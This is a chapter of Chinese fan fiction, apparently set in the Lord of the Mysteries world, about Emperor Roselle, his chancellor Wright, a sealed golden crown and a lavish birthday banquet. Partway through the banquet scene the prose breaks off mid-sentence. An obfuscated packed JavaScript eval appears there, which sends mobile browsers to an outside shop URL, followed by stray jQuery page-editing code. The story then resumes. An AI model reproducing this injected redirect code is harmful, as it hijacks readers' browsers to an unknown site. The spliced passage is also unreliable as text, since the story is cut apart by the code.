宰相莱特入宫觐见皇帝。
莱特到来时，古斯塔夫一世正在自己的工作室内，听到侍从的通报，皇帝打开门，热情地拥抱自己的老朋友，仿佛过去一桩桩不愉快都不存在一样：“莱特，许久没见了！来，同我喝一杯吧。”
罗塞尔搂着莱特的肩膀，带着他来到会客室，佣人已经在这里摆上了美酒。
罗塞尔拿起酒杯，晃了晃杯中美酒，然后轻呷一口，细细品味：“嗯，不管多少年，皇室特供的香槟都是如此令人沉醉啊。”
他转过身，看向坐在桌边的莱特，开门见山地问：“你来找我有什么事？”
莱特反问：“没事就不能来找你吗？”
“呵呵，这可不像你的性格，莱特。”罗塞尔笑着说，“我们都知道你追求效率，叙旧这种事情在你这里是不存在的。如果不是怀着目的，你又怎么会来找我呢？”
这几乎是把话说开了，莱特一直看着罗塞尔，片刻后，他没有隐藏来意：“我只是想知道，到现在为止，你到底想要什么？”
罗塞尔沉默了，握紧酒杯站在那里，片刻后，他沉声回答：“我想要什么，你真的不知道吗，我的朋友？”
“我要成为因蒂斯永远的皇帝，我要因蒂斯长久铭记我的统治，我要人们永世念诵我的名……我还要……”
他坚定地看向莱特：“我还要成为神，我要站在一切的顶点。”
我想要你、我、我的家人、我的朋友、还有我的臣民都平安快乐，我想要我在乎的一切幸福。
如果没有幸福，那至少应该活着。
面对莱特一如既往毫无反应的眸子，罗塞尔收起脸上的豪情，他笑了笑，喝了口酒，回身看墙上的油画。
这幅画的内容是《古斯塔夫一世登基大典》，原作是一幅巨幅油画，而他墙上这幅的尺寸则小了很多，是画师路易斯根据陛下的要求重新创作出的一幅，挂在会客室的墙上，在皇帝陛下接待臣子时也能时刻彰显皇帝的荣耀与威严。
罗塞尔的目光扫过画面中的一切，语带怀念：“我登基的时候你也不小了吧，可是你看，那时候你多么年轻，我也意气风发……”
他的手指按在自己画像的眼睛上，路易斯·大卫的画工确实很不错，否则即使是取了个好名字，罗塞尔也不会随便选一个人来为自己画像的。画中的古斯塔夫一世身在人群中心，身穿一袭华袍，在臣民的注视下为自己加冕，他目光坚定、充满野心。
莱特坐在那里看着罗塞尔的背影，他想起贵族的控诉，他们说“臣民并没有因为罗塞尔的统治得到幸福，他完全违背了他的誓言！”。
他询问的语气依旧平淡，使这句话听上去不像质问：“陛下，你还记得你宣誓过什么吗？“
罗塞尔语带嘲讽：“哪一句？‘为因蒂斯人民的利益、幸福和荣耀而统治’？莱特，你不是小孩子了，应该知道，在大典上，每一位皇帝总是要说些场面话的，就连戴着王冠的卷毛狒狒也不例外。”
“我不是说那个。”
“那是什么？”
莱特缓缓站起身，看着他的背影：“1171年6月28日，你准备谋夺因蒂斯政权之前，在那天你来找我，说了什么？”
“你在指责我忘了初心？”罗塞尔转身回看他，脸色阴晴不定。
“你忘了吗？”
“我当然还记得！”面对莱特的挑衅，罗塞尔喊道，“我说……”
他如一名指挥家般高举双手，杯中酒液随着这个动作倾洒，弄脏了衣袖，他却恍若未觉，语气豪迈而戏谑：“我说，‘我会让因蒂斯变得伟大！’”
复述完这句话，罗塞尔呵呵一笑，放下手：“我很抱歉让你的生日带上别的意义，或许以后你再也忘不了那一天了，但是反正你也不在乎，不是吗？即使那是你的生日。莱特，你什么都不在乎……”
“我在乎。”莱特打断他的戏谑，浅金的双眼直直对上罗塞尔蓝色的眼眸，“如果不是因为在乎，罗塞尔，我这几十年是为了什么？”
——赌上我的荣耀，我的青春，我几乎一辈子的生命，难道是为了虚度光阴？
罗塞尔在那双永远澄澈的眼睛里看到这样的表达，他像被烫到了一般，下意识想移开视线。但当他回头，莱特依旧坚定地看着他。
罗塞尔喉头滚动，几乎说不出话来，长久的对视后，他忽然大步上前，紧紧拥抱莱特，就像二十七年前在莱特家那样：“……感谢你的信任，莱特。”
莱特垂眸，掩饰总是过于平静的、无感情的双眼，他回抱友人，低声道：“下个月是我的生日，我希望你来，陛下。”
“我会来的，我总是会为你过生日的，莱特。”
……
觐见结束，罗塞尔收下了莱特的生日聚会请柬，回到自己的工作室。
他将请柬放在桌子上，坐回椅子，沉默着。
桌面上，一颗“黑国王”棋子静静立着，罗塞尔拿起它端详片刻，将棋子压在请柬之上。
他转过身，桌子上的托盘内放着另一件物品，一件“太阳”途径的“0”级封印物。为了完成这件封印物，罗塞尔不得不从“黑皇帝”的仪式准备中抽出大量时间进行制作完善，紧赶慢赶，总算在亚当的帮助下完成了。
罗塞尔端起这件“0”级封印物仔细查看，它金黄的色彩倒映在他眼底。
这是一顶华贵的冠冕，纯金打造，整体呈花环状，几片黄金葡萄叶错落有致地簇拥着花冠，最前方，花冠的正中间，一轮精致的黄金太阳散发着璀璨而温暖的光芒。
“我很抱歉在你生日当天这么做。”他低声道。
“但我没时间了。”
……
（一一九八年五月二十五日，罗塞尔大帝的日记）
“莱特说：‘曾经你问我，是选择抱着一艘破旧帆船的桅杆随它沉没，还是选择登上一艘崭新的巨轮。那么，现在，那艘轮船还行驶在正确的方向上吗？’”
“我说：‘一直如此。’”
“但你是否也一如当初呢，莱特？”
（纸张背面有一段潦草的笔迹，墨痕深刻，能看出作者用了极大的力气书写。）
“Will you still love me,
(你是否爱我如初，任地老天荒,)
When I'm no longer young and beautiful?
(即使韶华逝去，容颜不再?)
Will you still love me,
(你是否爱我如初，任地老天荒,)
When I got nothing but my aching soul?
(当一无所有，遍体鳞伤?)”①
……
6月28日，因蒂斯宰相莱特·索伦的生日。
白枫宫宴会厅内，烛火通明，金质酒杯的表面光滑如镜，水晶灯折射出迷离的光芒，美酒醇厚、鲜花芬芳，糕点散发着甜美的香气，衣香鬓影、觥筹交错，一切奢华美好得如同梦一样。
罗塞尔提出，如果帝国宰相的生日宴会仅仅是在莱特家小范围举办就太寒酸了，他要大办。
于是，以“为帝国宰相庆生”的名义，皇帝在因蒂斯各地举办了盛大的庆祝仪式，推崇宴会的因蒂斯人不会在乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879978|210178||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这是谁的生日，纷纷赞美着皇帝，投身于这热闹的庆典中。
在沉寂了许久之后，莱特再一次进入公众视线就是在这场奢华的生日宴会上。宾客云集，贵族们在此齐聚一堂，就连与莱特向来疏远的索伦家族成员也出现在席中。
最令人惊讶的是，皇帝古斯塔夫一世竟然亲自莅临，他穿着暗红绣金线的华丽外套，面容威严沉着，接受众大臣与贵族的见礼。
“我今天只是来参加宰相兼索伦公爵的生日。”罗塞尔语气含笑，豪迈地举起酒杯，“尽情饮酒吧，诸位！皇帝发誓不因你们今日的纵情降罪于任何人。”
宾客们也举起酒杯赞美，赞美因蒂斯、赞美皇帝、赞美今日的主人公莱特·索伦。
莱特穿着正式的因蒂斯男士礼服，纯白的收腰外套上绣着金线，白金长发高束，浅金双眸澄澈冷淡，面容一如几十年前。
罗塞尔端着酒杯轻晃，他站在高台上，沉醉地看着面前的一切，奢华的酒具、璀璨的珠宝、衣着华贵的美人，帝国的贵族与大臣们在低声谈笑，空气中是花朵的馥郁芬芳与美酒的醇厚甘美气息。
——谁会甘心舍弃这一切？
他举起酒杯，喝下一口香槟酒，尝到了苦涩的味道。
——真不甘心啊。
罗塞尔回头，看见莱特始终站在他一步距离外的身后。
罗塞尔笑了：“我给你准备了礼物，不过，现在气氛很好，拆礼物还是等会儿再说吧。让我们先享受宴会，怎么样？”
莱特举起手中酒杯，与他轻碰：“好。”
罗塞尔哈哈大笑，搂着莱特的肩膀：“到我身边来，我的好朋友！”
乐队奏起舞曲，贵族男女们在舞池中热情起舞。
罗塞尔眯着眼看下方：“啊，我还记得我们第一次见面也是在宴会上，你是个小鬼头，还没我膝盖高……那天也是你的生日。”
被揽住的莱特敏锐地嗅到了过于浓郁的酒味：“你喝了很多酒？”
“呵呵，今天毕竟是个好日子，不是吗？所以多喝了几杯。”罗塞尔果然正微醺，他拍拍莱特的肩膀，“享受今夜吧，莱特！人的一生能有几个生日之夜呢，何况还能找到这么多人为你齐聚一堂，这样的日子过一天少一天啦！”
“我们都老了，莱特，呵呵，即使我们的面容没什么变化。”他低声说，“老了，但是还不甘心死去。生命的河流真是无情啊，所以我们拼了命地逆流……”
“拼命地……前往序列之上。”
最后一句低得只有罗塞尔和莱特两人能听见，莱特微微偏头看向他：“会有成功的一天的。”
“呵呵，那就感谢你的祝福了。”罗塞尔收起脸上莫名的惆怅，豪迈地笑笑。
他松开莱特，又让侍者倒了一杯酒，挥挥手让乐队换一首曲子，率先高声唱着。
舞池中起舞的人们听见了熟悉的旋律，是罗塞尔大帝“作词作曲”的《饮酒歌》，于是也纷纷高举美酒，笑着跟随皇帝唱和起来。
旋转，一切都在旋转。灯光辉煌，酒杯碰撞，淑女们的裙摆如盛放的花朵，在最后的凋谢之前，今夜将无所畏惧地狂欢至荼蘼。
水晶灯、金属酒杯、透明的酒液，还有淑女绅士们衣裙首饰上熠熠生辉的珠宝，辉光在这里聚集，这里璀璨无比，这里无有阴影。
“让我们高举起欢乐的酒杯，
杯中的美酒使人心醉。
这样欢乐的时刻虽然美好，
但诚挚的爱情更加宝贵。
当前的幸福莫错过，
大家为爱情干杯。
青春好像一只小鸟，
飞去就不再飞回。”②